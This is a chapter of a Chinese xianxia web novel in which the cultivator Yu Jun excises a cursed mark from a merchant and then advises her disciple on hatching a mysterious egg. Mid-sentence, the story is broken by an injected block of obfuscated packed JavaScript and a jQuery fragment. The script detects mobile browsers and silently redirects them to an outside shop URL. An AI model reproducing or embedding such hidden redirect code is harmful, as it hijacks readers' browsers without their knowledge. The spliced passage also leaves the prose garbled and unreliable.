“啊——!”
清晨时分,小镇的客栈房间内传来一声惊天动地的惨叫,惊起了落在屋檐上梳理羽毛的鸟雀。
“喊什么。”喻君相当看不起这种大呼小叫的行为,但是手还是很稳地保持着切割的动作,“感觉到痛了吗你就喊?”
张永明的惨叫戛然而止,经过喻君的提醒他这才后知后觉地发现,虽然能够明显感觉到有利刃一般的东西刺入身体切割,但确实没有一分一毫的痛感。
可这样的诡异体验着实让他精神恍惚,毕竟不是谁都有机会在这么清醒的情况下“品味”皮肉被破开的感觉。
摁住自家主人的仆人脸色煞白地扭过头去,不敢再看喻君的动作。而舒兰早在看到喻君刺入父亲身体时就忍不住捂住眼睛后退几步,生怕自己的声音会影响到对方发挥。
然而事实是,虽然描述听着相当惊悚,但现场却并未有什么血腥场景,灵力构成的透明利刃动作连贯且丝滑,自带消毒杀菌的功效,而随着喻君的动作,创伤处并未有丝毫血迹流出。
这都要归功于之前的那个特制“麻药”。
不过几息间,喻君就完成了对背后印记的“切除”,麻药和灵力再次发挥作用,创口以肉眼可见的速度生长愈合着。
等到好奇压制住恐惧的舒兰挪开手指望过来时,张永明的背后只剩下一片明显新生的皮肤,看不出任何的伤口。
喻君用灵力包裹住切割下来的部分,为了防止它产生什么变化,她反手直接塞进了系统仓库中。那里的空间环境特殊,放置于其中的物品时间完全可以保持静止状态。
“好了。”
喻君开口为这段惊心动魄的“治疗”画上了句号。她抬手拍在张永明后背上,不知道是做了什么动作,张永明突然剧烈咳嗽起来,最后甚至发展成干呕。
最终,他在仆人端来的盆中吐-出了一-大块已经变得透明的凝胶状物质。
“剩下的药材按照这个方子每天服用,等到其他的材料集齐,我们再开始第二阶段的治疗。”
喻君将写好的方子递给舒兰。
舒兰脸色也有些发白,但是比起咳嗽到虚脱的张永明和抖如筛糠的仆人,她的表现可谓是相当稳重成熟了。
喻君交代完所有事情便潇洒离开,一点也不觉得自己给屋内所有人带来了多大的冲击。
送走她后张家人关上门,这才有几分惊魂未定的气氛。
舒兰将熬药的事情吩咐下去,回来后就看到张永明已经被扶到了床上躺着。不知道是不是因为方才剧烈咳嗽的缘故,他的脸色看起来倒是比之前都要红润许多。
“父亲,你感觉怎么样?”
她这话一出口,房间内所有人都不约而同地望向张永明,似乎正在期待一个足以匹配方才惊悚场面的答案。
然而作为当事人,张永明和他们的感受完全不同。
“神奇啊,太神奇了!我已经许久未感觉到身体如此轻松过了,就像这毛病已经完全根除了似的。不愧是仙长,仙家手段果真了得。”
他说这话的时候十分振奋,眼睛都隐隐发亮。光是从这一点上来看都能发现他的状态确实和之前大不一样了。
舒兰也不由得松了口气。
张永明通过几句话一口气将心中积攒多日的郁结抒发了个干净,这下子不仅身体上有所好转,心态都似乎有了转变。看到这段时间一直在身边忙前忙后的女儿,他抬手示意她坐到身边来。
“我本以为自己这辈子都已经到了头,可却实在是不甘心就停在这里。好在天无绝人之路,如今遇到仙长,我这身子有救,恢复也不过就是时间问题,你也就不必总是跟在我身边了。”
舒兰闻言忍不住皱了皱眉,不过见父亲的话还没说完,她也没有出声打断。
“家中产业目前虽然是你大哥在打理,但我知道他的性子,他心不在此。而你不一样,你这几年一直跟在我身边,又向来聪慧,耳濡目染之下必然也学到了不少东西,不过是缺一个实践的机会。此次回去,你和你大哥一起着手恢复之前的商路……”
随着父亲的嘱咐,舒兰的眉头逐渐舒展,眼中的担忧和踌躇也逐渐被另一种神采所替代,听到最后她就已经做好了返程的准备。
这边父女私话暂且按下不表。另一边喻君返回房间后却是没有立刻开始研究那块从张永明身上剥离下来的血肉,而是将意识重心转移到了系统空间中。
方明安并未在外面,而是待在弟子住所,和蛇妖不知道在研究什么。
许久不见的虚影出现在面前的第一时间方明安就敏锐抬起了头,他现在已经能很好地应对喻君的突然出声和突然出现,不会再像以前那样一惊一乍了。
蛇妖却是被吓到,身体下意识收紧,勒得方明安连忙去拽它。
“仙长不愧是仙长,行踪神秘莫测,非常人所能察觉!”蛇妖一见到喻君就开始夸张地进行一些吹捧,可是从它嘴中说出来的话总是有种莫名的阴阳怪。
方明安总觉得它这样是在冒犯仙人,非常看不惯地捏住了它的嘴,却听喻君似笑非笑地出声问道:
“哦?你看得到我?”
按照之前的测试,这个世界上应当除了方明安再没有任何人能够看到这个形态的她,听到这个形态她的声音。
为此喻君还有过猜测,应当是因为她意识体状态本质上是依附于系统产生的,而系统既然能够提供穿越时空的道具,必然不会是这个世界的产物,因此依附于系统的她也就成了某种不可被观察的高维存在,更无法直接和现实世界产生交集。
方明安能看到是因为他是系统目前绑定的宿主,有着系统的“升维”buff加持。
而在套上傀儡壳子后,依附于本世界媒介的喻君相当于对自己做了个主动降维,因此才能够被看到、听到。
“除了这小子,这个世界上应当没有人能看得到这个形态的我才对,你又是怎么看到的?”
方明安听到她的话顿时愣住。
原来自己和仙人之间还有着这样一层特殊的联系吗?在此之前从未听仙人提到过。
他的心中又惊又喜,颇为复杂,脑中思绪纷纷,竟然在此时忍不住神游起来。
另一边,蛇妖那张标准的蛇脸上竟然露出了一个颇为苦涩的表情来。
“仙长,您知道的,我记忆混乱……”
它又开始拿之前都要被用烂了的万能理由来
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17579596|203980||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
应付,因为它的态度实在是称不上正经,这样的解释很难让人不觉得是敷衍搪塞。
于是在喻君带着微妙笑意的注视下,它的声音越来越小,支支吾吾,最后干脆低下脑袋装死。
它似乎拿定了喻君不会真的把它如何,装死倒是装得相当坦然。
喻君确实并不是非要从它这里获得答案。她并不像大多数自持身份的高境界修士那样在意别人的态度,敷衍、隐瞒、欺骗,与她而言统统无所谓,她向来只相信自己的猜测和判断。
只要对方能够承担起她自己找出真相的后果,喻君也并不介意做一场解谜游戏。
毕竟,她的强大是客观事实,从不需要别人承认。
她没有再分给蛇妖眼神,转而询问起方明安:
“你今天不去药田帮忙,这是做什么呢?”
方明安指了指桌面上的东西道:“我最近在研究这个。”
桌面上放着一个藤编的小竹篮,里面用层层棉布塞满,最中间放着一颗青蓝色外表有斑点的蛋。这正是那天蛇妖在喻君压迫下像方明安赔罪时吐-出来的蛋。
“我这几天查了许多资料,也询问了隗充师兄,可惜都没有找到这颗蛋究竟属于什么生物。所以最终我只能确认这是个鸟蛋。”
方明安在喻君面前一向没什么包袱,坦然承认了自己的无能为力,不过语气似乎听不出沮丧来。
“听起来你似乎已经有办法了?”喻君相当欣慰于他独立解决问题的能力。
这说起来似乎不是一个多么值得一提的能力,但是她见过太多习惯依赖强者、在师长面前名为“尊重”实则失了主见的后辈。
这或许是目前修真界长久格局僵化的后果,教育模式单一,阶级固化,因此过分地强调“礼节”和“尊重”。
她非常讨厌这一点。
不过大概因为建立时间较短,目前也才到第三代,还没有形成这种严格的上下地位区分,昭华宗的这种风气倒是不重。
方明安不知道喻君对自己的看法,但是单是听到对方顺着自己的话提问就足够让他高兴了,“不知道是什么蛋,我打算干脆将它孵出来。”
说着,他从一旁抽出一张画满东西的纸。他的字还算不上好看,但好歹笔画清晰,能够看人看懂写了什么。
见喻君看过来,他开始介绍起来。
“因为不同的鸟类对于孵化的时间和温度需求都有所区别,在无法确定种类时似乎没办法确定这些条件,于是我计划利用一个固定的阵法来构造聚灵环境,并让它可以通过检测蛋的活跃程度来适时调整状态。”
方明安在纸上画出了自己对于这个阵法的设想。他在传统的聚灵阵基础上增加了调整温湿度的符文,这一点很简单,只需要巧用水火符文就能够达到。
“不过我还没想好,什么样的符文能够检测蛋的活跃程度。我考虑过检验灵性强弱的办法,但是单纯一个蛋,在还没有正式开始孵化阶段是否有灵性,这一点不好确定。”
“您有什么建议吗?”
他展示完自己的想法,用充满求知欲的目光望向喻君。
喻君相当受用地露出一个笑容:
“试试缚灵阵。”